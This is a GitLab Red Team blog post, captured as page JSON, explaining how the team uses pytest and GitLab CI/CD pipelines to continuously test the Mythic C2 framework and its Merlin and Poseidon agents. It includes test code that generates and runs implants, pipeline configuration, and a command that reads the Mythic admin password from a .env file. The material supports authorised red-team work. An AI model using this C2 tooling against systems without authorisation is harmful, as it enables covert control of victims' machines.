[{"data":1,"prerenderedAt":828},["ShallowReactive",2],{"/en-us/blog/how-gitlabs-red-team-automates-c2-testing":3,"navigation-en-us":40,"banner-en-us":460,"footer-en-us":470,"blog-post-authors-en-us-Josh Feehs":712,"blog-related-posts-en-us-how-gitlabs-red-team-automates-c2-testing":727,"blog-promotions-en-us":766,"next-steps-en-us":818},{"id":4,"title":5,"authorSlugs":6,"authors":8,"body":10,"category":11,"categorySlug":11,"config":12,"content":16,"date":25,"description":17,"extension":26,"externalUrl":27,"featured":15,"heroImage":19,"isFeatured":15,"meta":28,"navigation":15,"path":29,"publishedDate":25,"rawbody":30,"seo":31,"slug":14,"stem":36,"tagSlugs":37,"tags":38,"template":13,"updatedDate":27,"__hash__":39},"blogPosts/en-us/blog/how-gitlabs-red-team-automates-c2-testing.md","How GitLab's Red Team automates C2 testing ",[7],"josh-feehs",[9],"Josh Feehs","At GitLab, our [Red Team](https://handbook.gitlab.com/handbook/security/security-operations/red-team/) conducts security exercises that emulate real-world threats. By emulating real-world threats, we help assess and improve the effectiveness of the people, processes, and technologies used to keep our organization secure. To operate effectively, we must utilize professional development practices like the threat actors we emulate.\n\n[Threat actors](https://www.securonix.com/blog/threat-labs-security-advisory-new-starkvortex-attack-campaign-threat-actors-use-drone-manual-lures-to-deliver-merlinagent-payloads/) use open source command and control (C2) tools such as [Merlin](https://github.com/Ne0nd0g/merlin). While convenient, these tools have intentionally detectable features to discourage illegitimate use. Red Teams often need to customize and combine different open source options to evade detections in the environments they target.\n\nIn this blog, you'll learn how our team applies professional development practices to using open source C2 tools. We'll share how we implement continuous testing for the Mythic framework, our design philosophy, and a public project you can fork and use yourself.\n\nOur solution, available in [this public project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage), improves our Red Team operations in two ways. First, it contains a suite of **pytest** tests for the Mythic C2 framework. These validate functionality of both the Mythic server and multiple Mythic-compatible agents. Second, it leverages **GitLab CI/CD pipelines** to automatically run these tests after each code change. This enables iterative development and rapid validation of updates to Mythic or Mythic-compatible C2 agents.\n\n## Prerequisites\n\nCurrently, a few prerequisites fall outside the scope of test automation:\n\n- A Linux VM with Mythic, its Python requirements, and the HTTP profile installed. See the [Mythic installation guide](https://docs.mythic-c2.net/installation). We suggest binding Mythic's admin interface to localhost only.\n- A fork of [the ContinuousMage GitLab project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage) in GitLab.com or your own GitLab instance. You'll build on top of this to run your own automation. We highly suggest making this fork private, so you don't expose your test infrastructure or C2 code changes.\n- GitLab Runner installed on the VM (configured with the [shell executor](https://docs.gitlab.com/runner/executors/shell/)) and registered with your GitLab instance. See the docs on [installing](https://docs.gitlab.com/runner/install/) and [registering](https://docs.gitlab.com/runner/register/) a runner or follow the instructions provided when configuring your pipeline later in this blog. You'll assign this runner to your project when we configure CI/CD.\n- Your forked project cloned onto your VM. This allows testing code changes (or new tests) before triggering the pipeline.\n\n## Project structure\n\nThe project contains three main portions that we will detail in this blog post:\n\n1. `pytest` test code for running integration tests for Mythic and Mythic-compatible C2 agents\n2. The source of those Mythic-compatible C2 agents, as git submodules\n3. The GitLab CI/CD pipeline configuration that ties it all together\n\n## Part 1: pytests\n\n[pytest](https://docs.pytest.org/en/7.4.x/) is a framework for writing tests in Python. We can leverage pytest to do integration testing of Mythic since it has its own [Python package](https://pypi.org/project/mythic/). The test suite goals are:\n\n1. Be simple and atomic.\n2. Provide adequate coverage to validate tool readiness.\n\nWe'll walk through a simple test verifying an agent can run the `ls` command, highlighting key code sections for customization.\n\n### Implementation\n\n#### pytest file\n\nWhen run on a directory, `pytest` automatically discovers tests in files prefixed with `test_` and test functions starting with `test_`. Our tests are asynchronous, needing the `pytest.mark.asyncio` decorator, because the Mythic APIs we are testing are asynchronous. If your machine is missing test dependencies, run `python3 -m pip install mythic pytest pytest-asyncio`.\n\nA test function skeleton is as follows:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    # Will do the test here\n    continue\n```\n\n#### The GlMythic class\n\nThe `GlMythic` class wraps Mythic APIs for ease of use in testing. Because its `init` function is async, a coroutine creates the object:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    glmythic = await gl_mythic.create_glmythic()\n```\n\nBy default, it connects to the Mythic DB using the `MYTHIC_ADMIN_PASSWORD` environment variable and is configured to test the agent specified via the `AGENT_TYPE` environment variable. We will set these in the CI/CD config later.\n\n#### Interacting with Mythic via GlMythic\n\nWe'll include the remainder of the test code here, with comments, and then discuss the most important parts.\n\nAs a reminder, one of the key goals of this project was to make completely atomic tests. Each test only relies on a running Mythic server with the specific agent and HTTP containers loaded. As the test suite grows, it may be worth running a secondary set of tasks that relies on an already-existing agent connection. Currently, every test creates, downloads, and executes a new agent.\n\n### Test and deploy\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n\n    glmythic = await gl_mythic.create_glmythic()\n\n    # Unique payload_path per test\n    payload_path = \"/tmp/test_agent_ls\"\n\n    # Wraps agent create, download, and execute\n    proc = await glmythic.generate_and_run(payload_path=payload_path)\n\n    # Wait for callback\n    time.sleep(10)\n\n    # Uses the display_id field to determine most recent callback\n    # Assumes that the most recent callback is the one created by this test\n    callback = await glmythic.get_latest_callback()\n\n    # Issue the ls command, blocking on output\n    output = await mythic.issue_task_and_waitfor_task_output(\n        mythic=glmythic.mythic_instance,\n        command_name=\"ls\",\n        parameters=\"\",\n        callback_display_id=callback[\"display_id\"],\n        timeout=20,\n    )\n\n    # Clean up (no longer need the agent)\n    proc.terminate()     os.remove(payload_path)\n\n    # If the ls failed, there will be no output\n    # This test could also look for files in the repo (where the agent runs)\n    assert len(output) > 0\n\n```\n\nThe longest running portion of this test will be the call to `generate_and_run`, as agent builds within Mythic can take from seconds to minutes or even hang altogether. For your initial set of tests, sign in to the Mythic server and watch the **Payloads** screen for potential issues. In our testing, agent builds failed to complete around 5% of the time, depending on the agent. If you experience repeated build failures, reload your agent container with `sudo ./mythic-cli install folder \u003Cagent_directory> -f`.\n\nTo run the tests, run `pytest \u003Ctestfile_directory>`.\n\n## Part 2: Agent source as submodules\n\nBecause Mythic agents are often updated, we include the agent repos as git submodules in our test project. This allows us to update to new agent versions when they are released and use our project's version control to keep tool versions static for known good builds. These submodules are all located in the `agents` folder.\n\nWe'll discuss adding more agents to this project later in this blog.\n\n## Part 3: GitLab CI/CD pipeline\n\nNow that you have working pytests, you can automate your tests to run whenever you want. In our case, we chose to run our tests on merge requests and tagged commits (which are likely to be tool releases). We will be using [GitLab CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/) to perform our automated tests.\n\n### Configuring the pipeline\n\nNow is the time to set your GitLab CI/CD settings. To find these settings, go to your repository -> `Settings` -> `CI/CD`.\n\nThe first setting you'll want to set is your `Runner`. If you set up a runner as one of your prerequisite steps earlier, you can assign it here. If not, click `New project runner` and work through that process to create and set up your runner on your Mythic server. When you are prompted to choose a runner type on install, choose the [shell executor](https://docs.gitlab.com/runner/executors/shell/). If your team uses shared runners for other CI/CD pipelines, you will want to make sure that shared runners are disabled for this project, given that your shared runners are unlikely to be able to talk to Mythic directly.\n\n![runner-settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/runner-settings.png)\n\nNext, you need to set your `Variables`. The `GlMythic` class uses the `MYTHIC_ADMIN_PASSWORD` environment variable to be able to actually sign into Mythic, so you need to make sure that the pipeline runner's environment is set up correctly.\n\nTo do this, click the `Add variable` button and add the `MYTHIC_ADMIN_PASSWORD` variable with the appropriate value. If you don't know your Mythic admin password, on the Mythic server in the directory where you installed Mythic, `cat .env | grep MYTHIC_ADMIN_PASSWORD` will give you the password.\n\nBecause GitLab handles merge requests in a detached state, you need to unclick the `Protect Variable` box, because that would prevent the pipeline from viewing the variable on a merge request otherwise. Because the variable is not protected, any branch committed back to your server can access your CI variables. This may pose a security risk if you allow remote access to your Mythic server (versus binding to localhost) and if you allow arbitrary users to access your repository. For this reason, our public repo does not have the environment variables. We use a private copy to perform testing, and suggest you do the same.\n\nAdditionally, set the `AGENT_TYPE` variable to the name of the agent you want to use. At time of release, valid agent types are `poseidon` or `merlin`. The section about adding more agents to the test suite will go into more detail.\n\nYou can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.\n\nNow that the pipeline is configured to use the runner and pick up the environment variables that you need, the only thing left to do is to set up your pipeline. This step is quite simple: If you add the `.gitlab-ci.yml` file to the root of your repository, GitLab will pick that up as the pipeline config on your next commit. Here is our example pipeline, which we will explain momentarily.\n\n```yaml\ninstall:\n  stage: install\n  script:\n    - sudo /opt/Mythic/mythic-cli install folder \"${CI_PROJECT_DIR}\"/agents/\"${AGENT_TYPE}\" -f\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n\ntest:\n  stage: test\n  script:\n    - pytest \"${CI_PROJECT_DIR}\"/mythic-test\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n```\n\nAll of the variables set above are made available by GitLab as part of every pipeline. This pipeline has two stages, `install` and `test`. Both stages are set to only run on merge requests or if the commit being evaluated has a specific tag. The `install` stage will install your C2 agent into Mythic using its local folder install. This makes sure that the Mythic server has your latest C2 code changes installed. Next, the `test` stage runs the set of pytest tests that we created. The `install` stage will run very quickly, and the `test` stage will run a little more slowly, given that it's doing the work of creating and interacting with Mythic agents.\n\n### Pipeline in action\n\nYou can do a couple of things to validate that your pipeline is working. First, if you are performing a merge request, there will be a section at the beginning of the merge request that will link to the pipeline. The screenshot below shows that the pipeline has passed, but you can click into the pipeline by clicking on its number even when it's running.\n\n![Pipeline passing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/merge-pipeline-pass.png)\n\nYou can then click into the stage that's running (or one that has already run) to view its output.\n\n![Pipeline task output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/pipeline-task-output.png)\n\nAnd there you are! You now have working `pytest` tests for a Mythic agent that run every time you make a merge request.\n\n## Adapting for other agents\n\nWe tested our test suite against Poseidon and Merlin. Although the initial tests (generate, download and exec, ls) work the same for both agents, Poseidon and Merlin require different parameters for their `upload` commands. Unfortunately, this means that not all tests will be agent agnostic.\n\nAs a result, each `GlMythic` object that is created is told what type of agent it is testing. The coroutine for creating an object allows you to pass in the agent type as a variable, and defaults to using the `AGENT_TYPE` environment variable to determine which agent is being tested.\n\n```python\nasync def create_glmythic(  username=\"mythic_admin\",\n                            password=os.getenv(\"MYTHIC_ADMIN_PASSWORD\"),\n                            server_ip=\"127.0.0.1\",\n                            server_port=7443,\n                            agent_type=os.getenv(\"AGENT_TYPE\")):\n```\n\n### Agent source\n\nTo add more agents for testing, the first thing to do is to import your agent as a git submodule:\n\n```bash\ncd agents\ngit submodule add \"${URL_TO_YOUR_AGENT}\"\n```\n\nCommit your changes, and your agent is tracked as part of the repo.\n\n### Test compatibility\n\nYou'll need to validate that existing tests work with your agent. For tests to work, the parameters passed to the commands must match those in the test suite, with `upload` to be most likely to fail.\n\nThis is okay! Within the `test_agent_upload` test function, you'll see example code that specifies a different upload command for Merlin and Poseidon. Simply follow this structure for your own agent, passing your agent's parameters to the `mythic.issue_task_and_waitfor_task_output` function call.\n\nIf you are using another open source C2 and are unsure of the correct parameters to pass, you can use the Mythic UI. Interact with one of your agents and run the `upload` command to see what params you need to pass. If you do this for Poseidon, it will look like the following:\n\n![upload-parameters](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/upload-parameters.png)\n\nOur test suite should be pretty easy to add to any Linux-based Mythic agent that supports the [HTTP C2 profile](https://github.com/MythicC2Profiles/http). Because the GitLab Runner installs the agent into Mythic (and Mythic is made to run on Linux), the runner is expecting to be on a Linux machine. Additional effort and test modifications will be required to run the test suite against a Windows or MacOS agent.\n\n## A quick win\n\nAs we worked on this project, we were continuously running our test suite against both Poseidon and Merlin. Unexpectedly, in early October 2023, our test for Poseidon's `upload` function started to fail. After a quick investigation, we identified that a bug had been introduced, present in Poseidon 2.0.2, that caused file uploads to fail.\n\nWe took our information to one of the Poseidon developers, Cody Thomas ([@its_a_feature_](https://twitter.com/its_a_feature_)), and he quickly identified the underlying issue and [fixed the problem](https://github.com/MythicAgents/poseidon/commit/83de4712448d7ed948b3e2d2b2f378d530b3a42a).\n\nThis highlights the usefulness of continuous testing. Instead of running into a potential bug during a Red Team exercise, we identified the issue beforehand and were able to report the bug so the issue was fixed.\n\nWe sincerely thank the Mythic, Merlin, and Poseidon developers for open sourcing their hard work. Many Red Teams around the world are able to perform high-quality security assessments in part because of the hard work of C2 developers who open source their tools. We also want to specifically thank Cody Thomas for addressing this bug within 20 minutes of notification. His responsiveness and attention to detail are unmatched.\n\n## Share your feedback\n\nThis post has demonstrated both the value of continuous testing and shown how to implement continuous testing for your own use, using GitLab. If you have worked alongside these examples, you've implemented some continuous testing for the Mythic framework and have tests that you can use for Merlin, Poseidon, or your own Mythic agent(s).\n\nAt GitLab, we always seek feedback on our work. If you have any questions or comments, please open an issue on [our project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage). You can also propose improvements via a merge request. We believe that everyone should be able to contribute, so we welcome any contributions, big or small.\n\n> [Try GitLab Ultimate for free today.](https://gitlab.com/-/trials/new)\n\n## Related reading\n- [Stealth operations: The evolution of GitLab's Red Team](https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team/)\n- [How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely/)\n- [Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques](https://about.gitlab.com/blog/gitlab-mitre-attack-navigator/)\n- [Monitor web attack surface with GitLab](https://about.gitlab.com/blog/monitor-web-attack-surface-with-gitlab/)","security-labs",{"template":13,"slug":14,"featured":15},"BlogPost","how-gitlabs-red-team-automates-c2-testing",true,{"title":5,"description":17,"authors":18,"heroImage":19,"tags":20,"category":11,"date":25,"body":10},"Learn how to apply professional development practices to Red Teams using open source command and control tools.",[9],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg",[21,22,23,24],"security","testing","integrations","tutorial","2023-11-28","md",null,{},"/en-us/blog/how-gitlabs-red-team-automates-c2-testing","---\nseo:\n  title: \"How GitLab's Red Team automates C2 testing \"\n  description: >-\n    Learn how to apply professional development practices to Red Teams using\n    open source command and control tools.\n  ogTitle: \"How GitLab's Red Team automates C2 testing \"\n  ogDescription: >-\n    Learn how to apply professional development practices to Red Teams using\n    open source command and control tools.\n  noIndex: false\n  ogImage: >-\n    https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg\n  ogUrl: https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing\n  ogSiteName: https://about.gitlab.com\n  ogType: article\n  canonicalUrls: https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing\ntitle: \"How GitLab's Red Team automates C2 testing \"\ndescription: Learn how to apply professional development practices to Red Teams using open source command and control tools.\nauthors:\n  - Josh Feehs\nheroImage: https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg\ntags:\n  - security\n  - testing\n  - integrations\n  - tutorial\ncategory: security-labs\ndate: '2023-11-28'\nslug: how-gitlabs-red-team-automates-c2-testing\nfeatured: true\ntemplate: BlogPost\n---\n\nAt GitLab, our [Red Team](https://handbook.gitlab.com/handbook/security/security-operations/red-team/) conducts security exercises that emulate real-world threats. By emulating real-world threats, we help assess and improve the effectiveness of the people, processes, and technologies used to keep our organization secure. To operate effectively, we must utilize professional development practices like the threat actors we emulate.\n\n[Threat actors](https://www.securonix.com/blog/threat-labs-security-advisory-new-starkvortex-attack-campaign-threat-actors-use-drone-manual-lures-to-deliver-merlinagent-payloads/) use open source command and control (C2) tools such as [Merlin](https://github.com/Ne0nd0g/merlin). While convenient, these tools have intentionally detectable features to discourage illegitimate use. Red Teams often need to customize and combine different open source options to evade detections in the environments they target.\n\nIn this blog, you'll learn how our team applies professional development practices to using open source C2 tools. We'll share how we implement continuous testing for the Mythic framework, our design philosophy, and a public project you can fork and use yourself.\n\nOur solution, available in [this public project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage), improves our Red Team operations in two ways. First, it contains a suite of **pytest** tests for the Mythic C2 framework. These validate functionality of both the Mythic server and multiple Mythic-compatible agents. Second, it leverages **GitLab CI/CD pipelines** to automatically run these tests after each code change. This enables iterative development and rapid validation of updates to Mythic or Mythic-compatible C2 agents.\n\n## Prerequisites\n\nCurrently, a few prerequisites fall outside the scope of test automation:\n\n- A Linux VM with Mythic, its Python requirements, and the HTTP profile installed. See the [Mythic installation guide](https://docs.mythic-c2.net/installation). We suggest binding Mythic's admin interface to localhost only.\n- A fork of [the ContinuousMage GitLab project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage) in GitLab.com or your own GitLab instance. You'll build on top of this to run your own automation. We highly suggest making this fork private, so you don't expose your test infrastructure or C2 code changes.\n- GitLab Runner installed on the VM (configured with the [shell executor](https://docs.gitlab.com/runner/executors/shell/)) and registered with your GitLab instance. See the docs on [installing](https://docs.gitlab.com/runner/install/) and [registering](https://docs.gitlab.com/runner/register/) a runner or follow the instructions provided when configuring your pipeline later in this blog. You'll assign this runner to your project when we configure CI/CD.\n- Your forked project cloned onto your VM. This allows testing code changes (or new tests) before triggering the pipeline.\n\n## Project structure\n\nThe project contains three main portions that we will detail in this blog post:\n\n1. `pytest` test code for running integration tests for Mythic and Mythic-compatible C2 agents\n2. The source of those Mythic-compatible C2 agents, as git submodules\n3. The GitLab CI/CD pipeline configuration that ties it all together\n\n## Part 1: pytests\n\n[pytest](https://docs.pytest.org/en/7.4.x/) is a framework for writing tests in Python. We can leverage pytest to do integration testing of Mythic since it has its own [Python package](https://pypi.org/project/mythic/). The test suite goals are:\n\n1. Be simple and atomic.\n2. Provide adequate coverage to validate tool readiness.\n\nWe'll walk through a simple test verifying an agent can run the `ls` command, highlighting key code sections for customization.\n\n### Implementation\n\n#### pytest file\n\nWhen run on a directory, `pytest` automatically discovers tests in files prefixed with `test_` and test functions starting with `test_`. Our tests are asynchronous, needing the `pytest.mark.asyncio` decorator, because the Mythic APIs we are testing are asynchronous. If your machine is missing test dependencies, run `python3 -m pip install mythic pytest pytest-asyncio`.\n\nA test function skeleton is as follows:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    # Will do the test here\n    continue\n```\n\n#### The GlMythic class\n\nThe `GlMythic` class wraps Mythic APIs for ease of use in testing. Because its `init` function is async, a coroutine creates the object:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    glmythic = await gl_mythic.create_glmythic()\n```\n\nBy default, it connects to the Mythic DB using the `MYTHIC_ADMIN_PASSWORD` environment variable and is configured to test the agent specified via the `AGENT_TYPE` environment variable. We will set these in the CI/CD config later.\n\n#### Interacting with Mythic via GlMythic\n\nWe'll include the remainder of the test code here, with comments, and then discuss the most important parts.\n\nAs a reminder, one of the key goals of this project was to make completely atomic tests. Each test only relies on a running Mythic server with the specific agent and HTTP containers loaded. As the test suite grows, it may be worth running a secondary set of tasks that relies on an already-existing agent connection. Currently, every test creates, downloads, and executes a new agent.\n\n### Test and deploy\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n\n    glmythic = await gl_mythic.create_glmythic()\n\n    # Unique payload_path per test\n    payload_path = \"/tmp/test_agent_ls\"\n\n    # Wraps agent create, download, and execute\n    proc = await glmythic.generate_and_run(payload_path=payload_path)\n\n    # Wait for callback\n    time.sleep(10)\n\n    # Uses the display_id field to determine most recent callback\n    # Assumes that the most recent callback is the one created by this test\n    callback = await glmythic.get_latest_callback()\n\n    # Issue the ls command, blocking on output\n    output = await mythic.issue_task_and_waitfor_task_output(\n        mythic=glmythic.mythic_instance,\n        command_name=\"ls\",\n        parameters=\"\",\n        callback_display_id=callback[\"display_id\"],\n        timeout=20,\n    )\n\n    # Clean up (no longer need the agent)\n    proc.terminate()     os.remove(payload_path)\n\n    # If the ls failed, there will be no output\n    # This test could also look for files in the repo (where the agent runs)\n    assert len(output) > 0\n\n```\n\nThe longest running portion of this test will be the call to `generate_and_run`, as agent builds within Mythic can take from seconds to minutes or even hang altogether. For your initial set of tests, sign in to the Mythic server and watch the **Payloads** screen for potential issues. In our testing, agent builds failed to complete around 5% of the time, depending on the agent. If you experience repeated build failures, reload your agent container with `sudo ./mythic-cli install folder \u003Cagent_directory> -f`.\n\nTo run the tests, run `pytest \u003Ctestfile_directory>`.\n\n## Part 2: Agent source as submodules\n\nBecause Mythic agents are often updated, we include the agent repos as git submodules in our test project. This allows us to update to new agent versions when they are released and use our project's version control to keep tool versions static for known good builds. These submodules are all located in the `agents` folder.\n\nWe'll discuss adding more agents to this project later in this blog.\n\n## Part 3: GitLab CI/CD pipeline\n\nNow that you have working pytests, you can automate your tests to run whenever you want. In our case, we chose to run our tests on merge requests and tagged commits (which are likely to be tool releases). We will be using [GitLab CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/) to perform our automated tests.\n\n### Configuring the pipeline\n\nNow is the time to set your GitLab CI/CD settings. To find these settings, go to your repository -> `Settings` -> `CI/CD`.\n\nThe first setting you'll want to set is your `Runner`. If you set up a runner as one of your prerequisite steps earlier, you can assign it here. If not, click `New project runner` and work through that process to create and set up your runner on your Mythic server. When you are prompted to choose a runner type on install, choose the [shell executor](https://docs.gitlab.com/runner/executors/shell/). If your team uses shared runners for other CI/CD pipelines, you will want to make sure that shared runners are disabled for this project, given that your shared runners are unlikely to be able to talk to Mythic directly.\n\n![runner-settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/runner-settings.png)\n\nNext, you need to set your `Variables`. The `GlMythic` class uses the `MYTHIC_ADMIN_PASSWORD` environment variable to be able to actually sign into Mythic, so you need to make sure that the pipeline runner's environment is set up correctly.\n\nTo do this, click the `Add variable` button and add the `MYTHIC_ADMIN_PASSWORD` variable with the appropriate value. If you don't know your Mythic admin password, on the Mythic server in the directory where you installed Mythic, `cat .env | grep MYTHIC_ADMIN_PASSWORD` will give you the password.\n\nBecause GitLab handles merge requests in a detached state, you need to unclick the `Protect Variable` box, because that would prevent the pipeline from viewing the variable on a merge request otherwise. Because the variable is not protected, any branch committed back to your server can access your CI variables. This may pose a security risk if you allow remote access to your Mythic server (versus binding to localhost) and if you allow arbitrary users to access your repository. For this reason, our public repo does not have the environment variables. We use a private copy to perform testing, and suggest you do the same.\n\nAdditionally, set the `AGENT_TYPE` variable to the name of the agent you want to use. At time of release, valid agent types are `poseidon` or `merlin`. The section about adding more agents to the test suite will go into more detail.\n\nYou can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.\n\nNow that the pipeline is configured to use the runner and pick up the environment variables that you need, the only thing left to do is to set up your pipeline. This step is quite simple: If you add the `.gitlab-ci.yml` file to the root of your repository, GitLab will pick that up as the pipeline config on your next commit. Here is our example pipeline, which we will explain momentarily.\n\n```yaml\ninstall:\n  stage: install\n  script:\n    - sudo /opt/Mythic/mythic-cli install folder \"${CI_PROJECT_DIR}\"/agents/\"${AGENT_TYPE}\" -f\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n\ntest:\n  stage: test\n  script:\n    - pytest \"${CI_PROJECT_DIR}\"/mythic-test\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n```\n\nAll of the variables set above are made available by GitLab as part of every pipeline. This pipeline has two stages, `install` and `test`. Both stages are set to only run on merge requests or if the commit being evaluated has a specific tag. The `install` stage will install your C2 agent into Mythic using its local folder install. This makes sure that the Mythic server has your latest C2 code changes installed. Next, the `test` stage runs the set of pytest tests that we created. The `install` stage will run very quickly, and the `test` stage will run a little more slowly, given that it's doing the work of creating and interacting with Mythic agents.\n\n### Pipeline in action\n\nYou can do a couple of things to validate that your pipeline is working. First, if you are performing a merge request, there will be a section at the beginning of the merge request that will link to the pipeline. The screenshot below shows that the pipeline has passed, but you can click into the pipeline by clicking on its number even when it's running.\n\n![Pipeline passing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/merge-pipeline-pass.png)\n\nYou can then click into the stage that's running (or one that has already run) to view its output.\n\n![Pipeline task output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/pipeline-task-output.png)\n\nAnd there you are! You now have working `pytest` tests for a Mythic agent that run every time you make a merge request.\n\n## Adapting for other agents\n\nWe tested our test suite against Poseidon and Merlin. Although the initial tests (generate, download and exec, ls) work the same for both agents, Poseidon and Merlin require different parameters for their `upload` commands. Unfortunately, this means that not all tests will be agent agnostic.\n\nAs a result, each `GlMythic` object that is created is told what type of agent it is testing. The coroutine for creating an object allows you to pass in the agent type as a variable, and defaults to using the `AGENT_TYPE` environment variable to determine which agent is being tested.\n\n```python\nasync def create_glmythic(  username=\"mythic_admin\",\n                            password=os.getenv(\"MYTHIC_ADMIN_PASSWORD\"),\n                            server_ip=\"127.0.0.1\",\n                            server_port=7443,\n                            agent_type=os.getenv(\"AGENT_TYPE\")):\n```\n\n### Agent source\n\nTo add more agents for testing, the first thing to do is to import your agent as a git submodule:\n\n```bash\ncd agents\ngit submodule add \"${URL_TO_YOUR_AGENT}\"\n```\n\nCommit your changes, and your agent is tracked as part of the repo.\n\n### Test compatibility\n\nYou'll need to validate that existing tests work with your agent. For tests to work, the parameters passed to the commands must match those in the test suite, with `upload` to be most likely to fail.\n\nThis is okay! Within the `test_agent_upload` test function, you'll see example code that specifies a different upload command for Merlin and Poseidon. Simply follow this structure for your own agent, passing your agent's parameters to the `mythic.issue_task_and_waitfor_task_output` function call.\n\nIf you are using another open source C2 and are unsure of the correct parameters to pass, you can use the Mythic UI. Interact with one of your agents and run the `upload` command to see what params you need to pass. If you do this for Poseidon, it will look like the following:\n\n![upload-parameters](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/upload-parameters.png)\n\nOur test suite should be pretty easy to add to any Linux-based Mythic agent that supports the [HTTP C2 profile](https://github.com/MythicC2Profiles/http). Because the GitLab Runner installs the agent into Mythic (and Mythic is made to run on Linux), the runner is expecting to be on a Linux machine. Additional effort and test modifications will be required to run the test suite against a Windows or MacOS agent.\n\n## A quick win\n\nAs we worked on this project, we were continuously running our test suite against both Poseidon and Merlin. Unexpectedly, in early October 2023, our test for Poseidon's `upload` function started to fail. After a quick investigation, we identified that a bug had been introduced, present in Poseidon 2.0.2, that caused file uploads to fail.\n\nWe took our information to one of the Poseidon developers, Cody Thomas ([@its_a_feature_](https://twitter.com/its_a_feature_)), and he quickly identified the underlying issue and [fixed the problem](https://github.com/MythicAgents/poseidon/commit/83de4712448d7ed948b3e2d2b2f378d530b3a42a).\n\nThis highlights the usefulness of continuous testing. Instead of running into a potential bug during a Red Team exercise, we identified the issue beforehand and were able to report the bug so the issue was fixed.\n\nWe sincerely thank the Mythic, Merlin, and Poseidon developers for open sourcing their hard work. Many Red Teams around the world are able to perform high-quality security assessments in part because of the hard work of C2 developers who open source their tools. We also want to specifically thank Cody Thomas for addressing this bug within 20 minutes of notification. His responsiveness and attention to detail are unmatched.\n\n## Share your feedback\n\nThis post has demonstrated both the value of continuous testing and shown how to implement continuous testing for your own use, using GitLab. If you have worked alongside these examples, you've implemented some continuous testing for the Mythic framework and have tests that you can use for Merlin, Poseidon, or your own Mythic agent(s).\n\nAt GitLab, we always seek feedback on our work. If you have any questions or comments, please open an issue on [our project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage). You can also propose improvements via a merge request. We believe that everyone should be able to contribute, so we welcome any contributions, big or small.\n\n> [Try GitLab Ultimate for free today.](https://gitlab.com/-/trials/new)\n\n## Related reading\n- [Stealth operations: The evolution of GitLab's Red Team](https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team/)\n- [How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely/)\n- [Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques](https://about.gitlab.com/blog/gitlab-mitre-attack-navigator/)\n- [Monitor web attack surface with GitLab](https://about.gitlab.com/blog/monitor-web-attack-surface-with-gitlab/)\n",{"title":5,"description":17,"ogTitle":5,"ogDescription":17,"noIndex":32,"ogImage":19,"ogUrl":33,"ogSiteName":34,"ogType":35,"canonicalUrls":33},false,"https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing","https://about.gitlab.com","article","en-us/blog/how-gitlabs-red-team-automates-c2-testing",[21,22,23,24],[21,22,23,24],"_S-BmxHb0NsFlhabZXuTaVmyavX8BrlioGqmYODbNRA",{"logo":41,"freeTrial":46,"sales":51,"login":56,"items":61,"search":380,"minimal":411,"duo":430,"switchNav":439,"pricingDeployment":450},{"config":42},{"href":43,"dataGaName":44,"dataGaLocation":45},"/","gitlab logo","header",{"text":47,"config":48},"Get free trial",{"href":49,"dataGaName":50,"dataGaLocation":45},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":52,"config":53},"Talk to 